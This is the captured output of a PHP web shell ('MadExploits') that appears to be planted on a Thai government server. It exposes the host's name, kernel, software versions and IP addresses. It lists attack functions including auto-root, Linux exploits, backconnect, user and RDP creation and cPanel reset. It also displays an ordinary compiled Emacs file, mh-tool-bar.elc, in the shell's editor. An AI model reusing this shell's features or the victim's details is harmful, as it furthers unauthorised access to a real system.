Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
mh-e /
[ HOME SHELL ]
Name
Size
Permission
Action
mh-acros.el
12.65
KB
-rw-r--r--
mh-alias.elc
17.61
KB
-rw-r--r--
mh-buffers.elc
2.74
KB
-rw-r--r--
mh-comp.elc
33.6
KB
-rw-r--r--
mh-compat.el
12.07
KB
-rw-r--r--
mh-e.elc
113.81
KB
-rw-r--r--
mh-folder.elc
61.68
KB
-rw-r--r--
mh-funcs.elc
12.23
KB
-rw-r--r--
mh-gnus.el
6.07
KB
-rw-r--r--
mh-identity.elc
7.9
KB
-rw-r--r--
mh-inc.elc
2.11
KB
-rw-r--r--
mh-junk.elc
15.3
KB
-rw-r--r--
mh-letter.elc
27.93
KB
-rw-r--r--
mh-limit.elc
10.43
KB
-rw-r--r--
mh-loaddefs.el
103.32
KB
-rw-r--r--
mh-mime.elc
55.16
KB
-rw-r--r--
mh-print.elc
8.59
KB
-rw-r--r--
mh-scan.elc
16.45
KB
-rw-r--r--
mh-search.elc
59.54
KB
-rw-r--r--
mh-seq.elc
37.48
KB
-rw-r--r--
mh-show.elc
130.77
KB
-rw-r--r--
mh-speed.elc
16.67
KB
-rw-r--r--
mh-thread.elc
43.78
KB
-rw-r--r--
mh-tool-bar.elc
26.7
KB
-rw-r--r--
mh-utils.elc
28.26
KB
-rw-r--r--
mh-xface.elc
14
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mh-tool-bar.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:04:29 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/mh-e/mh-tool-bar.el ;;; in Emacs version 23.1.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`mh-tool-bar.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302!\207" [require mh-e tool-bar] 2) #@86 Interactively call `mh-tool-bar-search-function'. Optional argument ARG is not used. (defalias 'mh-tool-bar-search #[(&optional arg) "\301!\207" [mh-tool-bar-search-function call-interactively] 2 (#$ . 685) "P"]) #@40 Call `mh-customize' from the tool bar. (defalias 'mh-tool-bar-customize #[nil "\300\301!\207" [mh-customize t] 2 (#$ . 905) nil]) #@20 Visit "(mh-e)Top". (defalias 'mh-tool-bar-folder-help #[nil "\300\301!\210\302 \207" [info "(mh-e)Top" delete-other-windows] 2 (#$ . 1041) nil]) #@31 Visit "(mh-e)Editing Drafts". (defalias 'mh-tool-bar-letter-help #[nil "\300\301!\210\302 \207" [info "(mh-e)Editing Drafts" delete-other-windows] 2 (#$ . 1192) nil]) #@175 Generate FUNCTION that replies to RECIPIENT. If FOLDER-BUFFER-FLAG is nil then the function generated... When INCLUDE-FLAG is non-nil, include message body being replied to. (defalias 'mh-tool-bar-reply-generator '(macro . #[(function recipient folder-buffer-flag) "\303\304\305\306 \"\307\n?\205 \310\311\312 \313BBB\257\207" [function recipient folder-buffer-flag defun (&optional arg) format "Reply to \"%s\".\nWhen ARG is non-nil include message in reply." (interactive "P") (set-buffer mh-show-folder-buffer) mh-reply (mh-get-msg-num nil) (arg)] 10 (#$ . 1366)])) #@64 Reply to "from". When ARG is non-nil include message in reply. (defalias 'mh-tool-bar-reply-from #[(&optional arg) "\301\302\303!\304#\207" [arg mh-reply mh-get-msg-num nil "from"] 4 (#$ . 1944) "P"]) #@64 Reply to "from". When ARG is non-nil include message in reply. (defalias 'mh-show-tool-bar-reply-from #[(&optional arg) "q\210\302\303\304!\305 #\207" [mh-show-folder-buffer arg mh-reply mh-get-msg-num nil "from"] 4 (#$ . 2152) "P"]) #@62 Reply to "to". When ARG is non-nil include message in reply. (defalias 'mh-tool-bar-reply-to #[(&optional arg) "\301\302\303!\304#\207" [arg mh-reply mh-get-msg-num nil "to"] 4 (#$ . 2393) "P"]) #@62 Reply to "to". When ARG is non-nil include message in reply. (defalias 'mh-show-tool-bar-reply-to #[(&optional arg) "q\210\302\303\304!\305 #\207" [mh-show-folder-buffer arg mh-reply mh-get-msg-num nil "to"] 4 (#$ . 2595) "P"]) #@63 Reply to "all". When ARG is non-nil include message in reply. (defalias 'mh-tool-bar-reply-all #[(&optional arg) "\301\302\303!\304#\207" [arg mh-reply mh-get-msg-num nil "all"] 4 (#$ . 2830) "P"]) #@63 Reply to "all". When ARG is non-nil include message in reply. (defalias 'mh-show-tool-bar-reply-all #[(&optional arg) "q\210\302\303\304!\305 #\207" [mh-show-folder-buffer arg mh-reply mh-get-msg-num nil "all"] 4 (#$ . 3035) "P"]) #@2016 Define a tool bar for MH-E. DEFAULTS is the list of buttons that are present by default. It is a list of lists where the sublists are of the following form: (:KEYWORD FUNC1 FUNC2 FUNC3 ...) Here :KEYWORD is one of :folder or :letter. If it is :folder then the default buttons in the folder and show mode buffers are being specified. If it is :letter then the default buttons in the letter mode are listed. FUNC1, FUNC2, FUNC3, ... are the names of the functions that the buttons would execute. Each element of BUTTONS is a list consisting of four mandatory items and one optional item as follows: (FUNCTION MODES ICON DOC &optional ENABLE-EXPR) where, FUNCTION is the name of the function that will be executed when the button is clicked. MODES is a list of symbols. List elements must be from "folder", "letter" and "sequence". If "folder" is present then the button is available in the folder and show buffer. If the name of FUNCTION is of the form "mh-foo", where foo is some arbitrary string, then we check if the function `mh-show-foo' exists. If it exists then that function is used in the show buffer. Otherwise the original function `mh-foo' is used in the show buffer as well. Presence of "sequence" is handled similar to the above. The only difference is that the button is shown only when the folder is narrowed to a sequence. If "letter" is present in MODES, then the button is available during draft editing and runs FUNCTION when clicked. ICON is the icon that is drawn in the button. DOC is the documentation for the button. It is used in tool-tips and in providing other help to the user. GNU Emacs uses only the first line of the string. So the DOC should be formatted such that the first line is useful and complete without the rest of the string. Optional item ENABLE-EXPR is an arbitrary lisp expression. If it evaluates to nil, then the button is deactivated, otherwise it is active. If it isn't present then the button is always active. (defalias 'mh-tool-bar-define '(macro . #[(defaults &rest buttons) "\306\211\211\211\211\211\211\211\211\211\211\211\211\211\211 ( % @ A & B C ) 'D\306 E\211 F\203Z F@\211E@\307=\203E EA\202Q E@\310=\203Q EAFA\211F\2042 *G\306 H\211 I\203<I@\211H<\203\200 HG\311\232\204\206 HG\312\232\204\206 \313\314H\"\210H@ J\315J! K\316H8 L\306 M\317H8 N\320\321N\"\203\260 \322\323N\"\202\262 N OHG\311=\203\300 \324\202\304 \311H8 PHA@ Q\306\211 R S\325Q>\203\337 \310JDR\326Q>\204\355 \327Q>\203;\330\326Q>\203\371 \307\202\372 \331JDR\"R\320\332K\"\203\333\334\322\323K\"P!\202JS\330\326Q>\203&\335\202'\336\337S!\2033S\2025JDR\"RR\211 R\2031R@ TR\211 EA@) U\315T!\323\306O VT\335=\203f\301\202}T\336=\203q\301\202}T\310=\203|\300\202}\302 WT\310=\203\212\340\202\213\341 X\333\342V\343KR! Y\333V\344P! ZT\310=\203\253\345\202\302T\335=\203\266\346\202\302T\336=\203\301\346\202\302\347\211 [\345=\203\316\350\202\326[\347=\205\326\351 \\\352W\353M\354UD\324N\257\"\210\352Z\355\356\354JDXE\357\360L\354UD\354YD\361O\362\354PD\257 E\"\210\352[J\"\210\\\203!\352\\O\"\210. R\211 EAA)\211R\204C. IA\211I\204f *'\237'%\237%&\237&(\237()\237)\n\237 \237\237\f\306 E\211 ]\203\204]@\211E'>\204{\313\363E\"\210]A\211]\204i* \306 E\211 ^\203\252^@\211E%>\204\241\313\364E\"\210^A\211^\204\217*\365\366\367\370\371\372\306\355\373\374\375\376\377\201o \201p \330C\237\201q \"BBE\376\201r \201o \201s \330B\237\201t \"BBE\376\201u \201o \201v \330A\237\201w \"BBE\376\201x \201o \201y \330@\237\201z \"BBE\257EF\371\201{ \306\355\201| \374\201} \376\201~ \201o \201 \330 \237\201\200 \"BBEEEF\201\201 BBBB\201\202 \201\203 \201\204 \201X ' _\306 H\n `\306\211 + a_:\203\205_@H`:\203\205`@+\201\205 \354HD+EaBa_A_`A`\202Sa\237-BE\201\203 \201\206 \201X & b\306 H c\306\211 + db:\203\326b@Hc:\203\326c@+\201\205 \354HD+EdBdbAbcAc\202\244d\237-BE\201\203 \201\207 \201X % e\306 H f\306\211 + ge:\203'e@Hf:\203'f@+\201\205 \354HD+EgBgeAefAf\202\365g\237-BE\201\210 BBBB\201\211 \201\212 \354\201X \201\213 \201\214 \f\"BD\201\215 \201\216 \201\217 \201\220 \201\221 \201\222 \354\201\223 ' h\306 E) i\306\211 j kh:\203\242h@Ei:\203\242i@j\201\224 \201\225 jEFkBkhAhiAi\202ok\237-BD\257\n\201\211 \201\226 \354\201X \201\213 \201\227 \"BD\201\230 \201\216 \201\231 \201\220 \201\232 \201\222 \354\201\223 % l\306 E( m\306\211 j nl:\203l@Em:\203m@j\201\224 \201\225 jEFnBnlAlmAm\202\345n\237-BD\257\n\257.\207" [letter-vectors show-vectors folder-vectors letter-defaults folder-defaults letter-button-setter nil :folder :letter 4 5 error "Incorrect MH-E tool-bar button specification: %s" symbol-name 2 3 string-match "\\(.*\\)\n" match-string 1 t letter folder sequence append :sequence "^mh-\\(.*\\)$" intern "mh-show-" :show :show-seq fboundp mh-tool-bar-letter-buttons mh-tool-bar-folder-buttons "mh-" "-tool-bar-" "-button-setter" letter-buttons show-buttons folder-buttons letter-docs folder-docs add-to-list vector quote when member mh-funcall-if-exists tool-bar-add-item :help :enable "Folder defaults contains unknown button %s" "Letter defaults contains unknown button %s" eval-when (compile load eval) mh-do-in-gnu-emacs (defun mh-buffer-exists-p (mode) "Test whether a buffer with major mode MODE is present." (loop for buf in (buffer-list) when (with-current-buffer buf (eq major-mode mode)) return t)) defun mh-tool-bar-folder-buttons-init (mh-buffer-exists-p 'mh-folder-mode) let* ((load-path (mh-image-load-path-for-library "mh-e" "mh-logo.xpm")) (image-load-path (cons (car load-path) (when (boundp 'image-load-path) image-load-path)))) setq mh-folder-tool-bar-map show-seq-button-setter show-button-setter sequence-button-setter folder-button-setter defaults x #1=#:--cl-dolist-temp-- buttons button #2=#:--cl-dolist-temp-- name name-str icon xemacs-icon full-doc doc enable-expr modes functions show-sym type function type1 vector-list list key setter mbuttons docs #3=#:--cl-dolist-temp-- #4=#:--cl-dolist-temp-- #5=#:--cl-var-- #6=#:--cl-var-- #7=#:--cl-var-- #8=#:--cl-var-- #9=#:--cl-var-- #10=#:--cl-var-- #11=#:--cl-var-- #12=#:--cl-var-- #13=#:--cl-var-- #14=#:--cl-var-- #15=#:--cl-var-- y #16=#:--cl-var-- #17=#:--cl-var-- #18=#:--cl-var-- #19=#:--cl-var-- let ((tool-bar-map (make-sparse-keymap))) (tool-bar-map) mh-folder-seq-tool-bar-map ((tool-bar-map (copy-keymap mh-folder-tool-bar-map))) (tool-bar-map) mh-show-tool-bar-map ((tool-bar-map (make-sparse-keymap))) (tool-bar-map) mh-show-seq-tool-bar-map ((tool-bar-map (copy-keymap mh-show-tool-bar-map))) (tool-bar-map) mh-tool-bar-letter-buttons-init (mh-buffer-exists-p 'mh-letter-mode) ((load-path (mh-image-load-path-for-library "mh-e" "mh-logo.xpm")) (image-load-path (cons (car load-path) (when (boundp 'image-load-path) image-load-path)))) mh-letter-tool-bar-map ((tool-bar-map (make-sparse-keymap))) (tool-bar-map) ((defun mh-tool-bar-update (mode default-map sequence-map) "Update `tool-bar-map' in all buffers of MODE.\nUse SEQUENCE-MAP if display is limited; DEFAULT-MAP otherwise." (loop for buf in (buffer-list) do (with-current-buffer buf (if (eq mode major-mode) (let ((map (if mh-folder-view-stack sequence-map default-map))) (set (make-local-variable 'tool-bar-map) map)))))) (defun mh-tool-bar-folder-buttons-set (symbol value) "Construct tool bar for `mh-folder-mode' and `mh-show-mode'." (set-default symbol value) (mh-tool-bar-folder-buttons-init) (mh-tool-bar-update 'mh-folder-mode mh-folder-tool-bar-map mh-folder-seq-tool-bar-map) (mh-tool-bar-update 'mh-show-mode mh-show-tool-bar-map mh-show-seq-tool-bar-map)) (defun mh-tool-bar-letter-buttons-set (symbol value) "Construct tool bar for `mh-letter-mode'." (set-default symbol value) (mh-tool-bar-letter-buttons-init) (mh-tool-bar-update 'mh-letter-mode mh-letter-tool-bar-map mh-letter-tool-bar-map))) mh-do-in-xemacs defvar mh-tool-bar-folder-vector-map cons mh-tool-bar-show-vector-map mh-tool-bar-letter-vector-map ((defvar mh-tool-bar-folder-buttons) (defvar mh-tool-bar-show-buttons) (defvar mh-tool-bar-letter-buttons) (defun mh-tool-bar-letter-buttons-set (symbol value) (set-default symbol value) (when mh-xemacs-has-tool-bar-flag (setq mh-tool-bar-letter-buttons (loop for b in value collect (cdr (assoc b mh-tool-bar-letter-vector-map)))))) (defun mh-tool-bar-folder-buttons-set (symbol value) (set-default symbol value) (when mh-xemacs-has-tool-bar-flag (setq mh-tool-bar-folder-buttons (loop for b in value collect (cdr (assoc b mh-tool-bar-folder-vector-map)))) (setq mh-tool-bar-show-buttons (loop for b in value collect (cdr (assoc b mh-tool-bar-show-vector-map)))))) (defun mh-tool-bar-init (mode) "Install tool bar in MODE." (when mh-xemacs-use-tool-bar-flag (let ((tool-bar (cond ((eq mode :folder) mh-tool-bar-folder-buttons) ((eq mode :letter) mh-tool-bar-letter-buttons) ((eq mode :show) mh-tool-bar-show-buttons))) (height 37) (width 40) (buffer (current-buffer))) (cond ((eq mh-xemacs-tool-bar-position 'top) (set-specifier top-toolbar tool-bar buffer) (set-specifier top-toolbar-visible-p t) (set-specifier top-toolbar-height height)) ((eq mh-xemacs-tool-bar-position 'bottom) (set-specifier bottom-toolbar tool-bar buffer) (set-specifier bottom-toolbar-visible-p t) (set-specifier bottom-toolbar-height height)) ((eq mh-xemacs-tool-bar-position 'left) (set-specifier left-toolbar tool-bar buffer) (set-specifier left-toolbar-visible-p t) (set-specifier left-toolbar-width width)) ((eq mh-xemacs-tool-bar-position 'right) (set-specifier right-toolbar tool-bar buffer) (set-specifier right-toolbar-visible-p t) (set-specifier right-toolbar-width width)) (t (set-specifier default-toolbar tool-bar buffer))))))) custom-declare-variable 'mh-tool-bar-folder-buttons mapcar #[(x) "\301D\207" [x quote] 2] "List of buttons to include in MH-Folder tool bar." :group 'mh-tool-bar :set 'mh-tool-bar-folder-buttons-set :type set const :tag 'mh-tool-bar-letter-buttons #[(x) "\301D\207" [x quote] 2] "List of buttons to include in MH-Letter tool bar." 'mh-tool-bar 'mh-tool-bar-letter-buttons-set] 21 (#$ . 3275)])) #@56 Test whether a buffer with major mode MODE is present. (defalias 'mh-buffer-exists-p #[(mode) "\306 \307\310\307:\203/ @r q\210\f )=\203$ \310\307\211\202% \310\203/ A\211\202\n ,\207" [#1=#:--cl-var-- buf #2=#:--cl-var-- #3=#:--cl-var-- major-mode mode buffer-list nil t] 3 (#$ . 13527)]) (defalias 'mh-tool-bar-folder-buttons-init #[nil "\306\307!\205\247\310\311\312\"\211@\313\301!\205 B\314 \315 \235\2030 \316\317!\2030 \317\320\315\321\322\323\324\325&\210\326 \235\203G \316\317!\203G \317\327\326\330\322\331\324\325&\210\332 \235\203^ \316\317!\203^ \317\333\332\334\322\335\324\325&\210\336 \235\203u \316\317!\203u \317\337\336\340\322\341\324\325&\210\342 \235\203\214 \316\317!\203\214 \317\343\342\344\322\345\324\325&\210\346 \235\203\243 \316\317!\203\243 \317\347\346\350\322\351\324\325&\210\352 \235\203\272 \316\317!\203\272 \317\353\352\354\322\355\324\325&\210\356 \235\203\321 \316\317!\203\321 \317\357\356\360\322\361\324\362&\210\363 \235\203\350 \316\317!\203\350 \317\364\363\365\322\366\324\367&\210\370 \235\203\377 \316\317!\203\377 \317\371\370\372\322\373\324\325&\210\374 \235\203\316\317!\203\317\375\374\376\322\377\324\325&\210\201B \235\2037\316\317!\2037\317\201C \201B \201D \322\201E \324\325&\210\201F \235\203X\316\317!\203X\317\201G \201F \201H \322\201I \324\325&\210\201J \235\203y\316\317!\203y\317\201K \201J \201L \322\201M \324\325&\210\201N \235\203\232\316\317!\203\232\317\201O \201N \201P \322\201Q \324\325&\210\201R \235\203\275\316\317!\203\275\317\201S \201R \201T \322\201U \324\201V &\210\201W \235\203\336\316\317!\203\336\317\201X \201W \201Y \322\201Z \324\325&\210\201[ \235\203\377\316\317!\203\377\317\201\\ \201[ \201] \322\201^ \324\325&\210\201_ \235\203 \316\317!\203 \317\201` \201_ \201a \322\201b \324\325&\210\201c \235\203A\316\317!\203A\317\201d \201c \201e \322\201f \324\325&\210\201g \235\203b\316\317!\203b\317\201h \201g \201i \322\201j \324\325&\210\201k \235\203\203\316\317!\203\203\317\201l \201k \201m \322\201n \324\325&\210\201o \235\203\244\316\317!\203\244\317\201p \201o \201q \322\201r \324\325&\210\n)\201s \f!\201t \235\203\316\316\317!\203\316\317\201u \201t \201v \322\201w \324\325&\210\n)\314 \315 \235\203\355\316\317!\203\355\317\320\315\201x \322\323\324\325&\210\326 \235\203\316\317!\203\317\327\326\201y \322\331\324\325&\210\332 \235\203 \316\317!\203 \317\333\332\201z \322\335\324\325&\210\336 \235\2038\316\317!\2038\317\337\336\201{ \322\341\324\325&\210\342 \235\203Q\316\317!\203Q\317\343\342\201| \322\345\324\325&\210\346 \235\203j\316\317!\203j\317\347\346\201} \322\351\324\325&\210\352 \235\203\203\316\317!\203\203\317\353\352\201~ \322\355\324\325&\210\356 \235\203\234\316\317!\203\234\317\357\356\201 \322\361\324\362&\210\363 \235\203\265\316\317!\203\265\317\364\363\201\200 \322\366\324\367&\210\370 \235\203\316\316\317!\203\316\317\371\370\201\201 \322\373\324\325&\210\374 \235\203\347\316\317!\203\347\317\375\374\201\202 \322\377\324\325&\210\201B \235\203\316\317!\203\317\201C \201B \201\203 \322\201E \324\325&\210\201F \235\203)\316\317!\203)\317\201G \201F \201\204 \322\201I \324\325&\210\201J \235\203J\316\317!\203J\317\201K \201J \201\205 \322\201M \324\325&\210\201N \235\203k\316\317!\203k\317\201O \201N \201\206 \322\201Q \324\325&\210\201R \235\203\216\316\317!\203\216\317\201S \201R \201\207 \322\201U \324\201V &\210\201W \235\203\257\316\317!\203\257\317\201X \201W \201\210 \322\201Z \324\325&\210\201[ \235\203\320\316\317!\203\320\317\201\\ \201[ \201\211 \322\201^ \324\325&\210\201_ \235\203\361\316\317!\203\361\317\201` \201_ \201\212 \322\201b \324\325&\210\201c \235\203\316\317!\203\317\201d \201c \201\213 \322\201f \324\325&\210\201g \235\2033\316\317!\2033\317\201h \201g \201\214 \322\201j \324\325&\210\201k \235\203T\316\317!\203T\317\201l \201k \201\215 \322\201n \324\325&\210\201o \235\203u\316\317!\203u\317\201p \201o \201\216 \322\201r \324\325&\210\n)@\201s @!\201t \235\203\241\316\317!\203\241\317\201u \201t \201\217 \322\201w \324\325&\210\n)\211A*\207" [load-path image-load-path tool-bar-map mh-tool-bar-folder-buttons mh-folder-tool-bar-map mh-folder-seq-tool-bar-map mh-buffer-exists-p mh-folder-mode mh-image-load-path-for-library "mh-e" "mh-logo.xpm" boundp make-sparse-keymap mh-inc-folder fboundp tool-bar-add-item "mail/inbox" mh-folder-tool-bar-mh-inc-folder :help "Incorporate new mail in Inbox" :enable t mh-mime-save-parts "attach" mh-folder-tool-bar-mh-mime-save-parts "Save MIME parts from this message" mh-previous-undeleted-msg "left-arrow" mh-folder-tool-bar-mh-previous-undeleted-msg "Go to the previous undeleted message" mh-page-msg "next-page" mh-folder-tool-bar-mh-page-msg "Page the current message forwards" mh-next-undeleted-msg "right-arrow" mh-folder-tool-bar-mh-next-undeleted-msg "Go to the next undeleted message" mh-delete-msg "delete" mh-folder-tool-bar-mh-delete-msg "Mark this message for deletion" mh-refile-msg "mail/move" mh-folder-tool-bar-mh-refile-msg "Refile this message" mh-undo "undo" mh-folder-tool-bar-mh-undo "Undo last operation" (mh-outstanding-commands-p) mh-execute-commands "data-save" mh-folder-tool-bar-mh-execute-commands "Perform moves and deletes" (mh-outstanding-commands-p) mh-toggle-tick "mail/flag-for-followup" mh-folder-tool-bar-mh-toggle-tick "Toggle tick mark" mh-toggle-showing "show" mh-folder-tool-bar-mh-toggle-showing "Toggle showing message" mh-show-tool-bar-map mh-show-seq-tool-bar-map mh-reply "mail/reply" mh-folder-tool-bar-mh-reply "Reply to this message" mh-tool-bar-reply-from "mail/reply-from" mh-folder-tool-bar-mh-tool-bar-reply-from "Reply to \"from\"" mh-tool-bar-reply-to "mail/reply-to" mh-folder-tool-bar-mh-tool-bar-reply-to "Reply to \"to\"" mh-tool-bar-reply-all "mail/reply-all" mh-folder-tool-bar-mh-tool-bar-reply-all "Reply to \"all\"" mh-alias-grab-from-field "contact" mh-folder-tool-bar-mh-alias-grab-from-field "Create alias for sender" (and (mh-extract-from-header-value) (not (mh-alias-for-from-p))) mh-send "mail/compose" mh-folder-tool-bar-mh-send "Compose new message" mh-rescan-folder "refresh" mh-folder-tool-bar-mh-rescan-folder "Rescan this folder" mh-pack-folder "mail/repack" mh-folder-tool-bar-mh-pack-folder "Repack this folder" mh-tool-bar-search "search" mh-folder-tool-bar-mh-tool-bar-search "Search" mh-visit-folder "open" mh-folder-tool-bar-mh-visit-folder "Visit other folder" mh-tool-bar-customize "preferences" mh-folder-tool-bar-mh-tool-bar-customize "MH-E Preferences" mh-tool-bar-folder-help "help" mh-folder-tool-bar-mh-tool-bar-folder-help "Help! (general help)" copy-keymap mh-widen "zoom-out" mh-sequence-tool-bar-mh-widen "Widen from the sequence" mh-show-tool-bar-mh-inc-folder mh-show-tool-bar-mh-mime-save-parts mh-show-tool-bar-mh-previous-undeleted-msg mh-show-tool-bar-mh-page-msg mh-show-tool-bar-mh-next-undeleted-msg mh-show-tool-bar-mh-delete-msg mh-show-tool-bar-mh-refile-msg mh-show-tool-bar-mh-undo mh-show-tool-bar-mh-execute-commands mh-show-tool-bar-mh-toggle-tick mh-show-tool-bar-mh-toggle-showing mh-show-tool-bar-mh-reply mh-show-tool-bar-mh-tool-bar-reply-from mh-show-tool-bar-mh-tool-bar-reply-to mh-show-tool-bar-mh-tool-bar-reply-all mh-show-tool-bar-mh-alias-grab-from-field mh-show-tool-bar-mh-send mh-show-tool-bar-mh-rescan-folder mh-show-tool-bar-mh-pack-folder mh-show-tool-bar-mh-tool-bar-search mh-show-tool-bar-mh-visit-folder mh-show-tool-bar-mh-tool-bar-customize mh-show-tool-bar-mh-tool-bar-folder-help mh-show-seq-tool-bar-mh-widen] 9]) (defalias 'mh-tool-bar-letter-buttons-init #[nil "\305\306!\205\307\310\311\"\211@\312\301!\205 B\313 \314 \235\2030 \315\316!\2030 \316\317\314\320\321\322\323\324&\210\325 \235\203G \315\316!\203G \316\326\325\327\321\330\323\331&\210\332 \235\203^ \315\316!\203^ \316\333\332\334\321\335\323\324&\210\336 \235\203u \315\316!\203u \316\337\336\340\321\341\323\324&\210\342 \235\203\214 \315\316!\203\214 \316\343\342\344\321\345\323\324&\210\346 \235\203\243 \315\316!\203\243 \316\347\346\350\321\351\323\324&\210\352 \235\203\272 \315\316!\203\272 \316\353\352\354\321\355\323\324&\210\356 \235\203\321 \315\316!\203\321 \316\357\356\360\321\361\323\324&\210\362 \235\203\350 \315\316!\203\350 \316\363\362\364\321\365\323\324&\210\366 \235\203\377 \315\316!\203\377 \316\367\366\370\321\371\323\324&\210\372 \235\203\315\316!\203\316\373\372\374\321\375\323\324&\210\n)\211*\207" [load-path image-load-path tool-bar-map mh-tool-bar-letter-buttons mh-letter-tool-bar-map mh-buffer-exists-p mh-letter-mode mh-image-load-path-for-library "mh-e" "mh-logo.xpm" boundp make-sparse-keymap mh-send-letter fboundp tool-bar-add-item "mail/send" mh-letter-tool-bar-mh-send-letter :help "Send this letter" :enable t save-buffer "save" mh-letter-tool-bar-save-buffer "Save current buffer to its file" (buffer-modified-p) mh-fully-kill-draft "delete" mh-letter-tool-bar-mh-fully-kill-draft "Kill this draft" mh-compose-insertion "attach" mh-letter-tool-bar-mh-compose-insertion "Insert attachment" ispell-message "spell" mh-letter-tool-bar-ispell-message "Check spelling" undo "undo" mh-letter-tool-bar-undo "Undo last operation" clipboard-kill-region "cut" mh-letter-tool-bar-clipboard-kill-region "Cut (kill) text in region" clipboard-kill-ring-save "copy" mh-letter-tool-bar-clipboard-kill-ring-save "Copy text in region" clipboard-yank "paste" mh-letter-tool-bar-clipboard-yank "Paste (yank) text cut or copied earlier" mh-tool-bar-customize "preferences" mh-letter-tool-bar-mh-tool-bar-customize "MH-E Preferences" mh-tool-bar-letter-help "help" mh-letter-tool-bar-mh-tool-bar-letter-help "Help! (general help)"] 9]) #@110 Update `tool-bar-map' in all buffers of MODE. Use SEQUENCE-MAP if display is limited; DEFAULT-MAP otherwise. (defalias 'mh-tool-bar-update #[(mode default-map sequence-map) "\306 \307:\2034 @r q\210\n =\203, \f\203 \202! \n \310\311!\210 ))A\211\202 *\307\207" [#1=#:--cl-var-- buf mode major-mode mh-folder-view-stack sequence-map buffer-list nil make-local-variable tool-bar-map default-map map] 3 (#$ . 23334)]) #@61 Construct tool bar for `mh-folder-mode' and `mh-show-mode'. (defalias 'mh-tool-bar-folder-buttons-set #[(symbol value) "\306 \"\210\307 \210\310\311\n #\210\310\312\f #\207" [symbol value mh-folder-tool-bar-map mh-folder-seq-tool-bar-map mh-show-tool-bar-map mh-show-seq-tool-bar-map set-default mh-tool-bar-folder-buttons-init mh-tool-bar-update mh-folder-mode mh-show-mode] 4 (#$ . 23770)]) #@42 Construct tool bar for `mh-letter-mode'. (defalias 'mh-tool-bar-letter-buttons-set #[(symbol value) "\303 \"\210\304 \210\305\306\n\211#\207" [symbol value mh-letter-tool-bar-map set-default mh-tool-bar-letter-buttons-init mh-tool-bar-update mh-letter-mode] 4 (#$ . 24170)]) #@51 List of buttons to include in MH-Folder tool bar. (custom-declare-variable 'mh-tool-bar-folder-buttons '(list 'mh-inc-folder 'mh-mime-save-parts 'mh-previous-undeleted-msg 'mh-page-msg 'mh-next-undeleted-msg 'mh-delete-msg 'mh-refile-msg 'mh-undo 'mh-execute-commands 'mh-toggle-tick 'mh-reply 'mh-alias-grab-from-field 'mh-send 'mh-rescan-folder 'mh-tool-bar-search 'mh-visit-folder 'mh-tool-bar-customize 'mh-tool-bar-folder-help 'mh-widen) '(#$ . 24452) :group 'mh-tool-bar :set 'mh-tool-bar-folder-buttons-set :type '(set (const :tag "Incorporate new mail in Inbox" mh-inc-folder) (const :tag "Save MIME parts from this message" mh-mime-save-parts) (const :tag "Go to the previous undeleted message" mh-previous-undeleted-msg) (const :tag "Page the current message forwards" mh-page-msg) (const :tag "Go to the next undeleted message" mh-next-undeleted-msg) (const :tag "Mark this message for deletion" mh-delete-msg) (const :tag "Refile this message" mh-refile-msg) (const :tag "Undo last operation" mh-undo) (const :tag "Perform moves and deletes" mh-execute-commands) (const :tag "Toggle tick mark" mh-toggle-tick) (const :tag "Toggle showing message" mh-toggle-showing) (const :tag "Reply to this message" mh-reply) (const :tag "Reply to \"from\"" mh-tool-bar-reply-from) (const :tag "Reply to \"to\"" mh-tool-bar-reply-to) (const :tag "Reply to \"all\"" mh-tool-bar-reply-all) (const :tag "Create alias for sender" mh-alias-grab-from-field) (const :tag "Compose new message" mh-send) (const :tag "Rescan this folder" mh-rescan-folder) (const :tag "Repack this folder" mh-pack-folder) (const :tag "Search" mh-tool-bar-search) (const :tag "Visit other folder" mh-visit-folder) (const :tag "MH-E Preferences" mh-tool-bar-customize) (const :tag "Help! (general help)" mh-tool-bar-folder-help) (const :tag "Widen from the sequence" mh-widen))) #@51 List of buttons to include in MH-Letter tool bar. (custom-declare-variable 'mh-tool-bar-letter-buttons '(list 'mh-send-letter 'save-buffer 'mh-fully-kill-draft 'mh-compose-insertion 'ispell-message 'undo 'clipboard-kill-region 'clipboard-kill-ring-save 'clipboard-yank 'mh-tool-bar-customize 'mh-tool-bar-letter-help) '(#$ . 26306) :group 'mh-tool-bar :set 'mh-tool-bar-letter-buttons-set :type '(set (const :tag "Send this letter" mh-send-letter) (const :tag "Save current buffer to its file" save-buffer) (const :tag "Kill this draft" mh-fully-kill-draft) (const :tag "Insert attachment" mh-compose-insertion) (const :tag "Check spelling" ispell-message) (const :tag "Undo last operation" undo) (const :tag "Cut (kill) text in region" clipboard-kill-region) (const :tag "Copy text in region" clipboard-kill-ring-save) (const :tag "Paste (yank) text cut or copied earlier" clipboard-yank) (const :tag "MH-E Preferences" mh-tool-bar-customize) (const :tag "Help! (general help)" mh-tool-bar-letter-help))) (provide 'mh-tool-bar)
Close
